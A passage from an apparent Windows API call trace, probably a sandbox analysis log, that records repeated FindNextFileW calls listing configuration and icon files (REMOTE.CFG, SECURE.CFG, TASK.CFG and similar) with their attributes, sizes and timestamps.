nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTE.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTEL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTES.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPLTMPL.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESEND.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216f7400, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x216f7400, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEM.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecff500, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ecff500, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEML.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081d900, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3081d900, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEMS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDCNCL.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabc91200, ftCreationTime.dwHighDateTime=0x1bfc4b1, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabc91200, ftLastWriteTime.dwHighDateTime=0x1bfc4b1, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREQ.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESN.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESP.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREST.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ca1800, ftCreationTime.dwHighDateTime=0x1c2b07e, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84ca1800, ftLastWriteTime.dwHighDateTime=0x1c2b07e, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECREC.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURE.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b799300, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b799300, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHARING.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMEE.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMES.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff90d00, ftCreationTime.dwHighDateTime=0x1c666e6, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ff90d00, ftLastWriteTime.dwHighDateTime=0x1c666e6, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSL.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac132a00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac132a00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSS.ICO", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASK.CFG", cAlternateFileName="")) returned 1 [0078.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACC.CFG", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCL.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCS.ICO", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDEC.CFG", cAlternateFileName="")) returned 1 [0078.420] FindNextFileW (in: hFindFile=0x2e90c0, 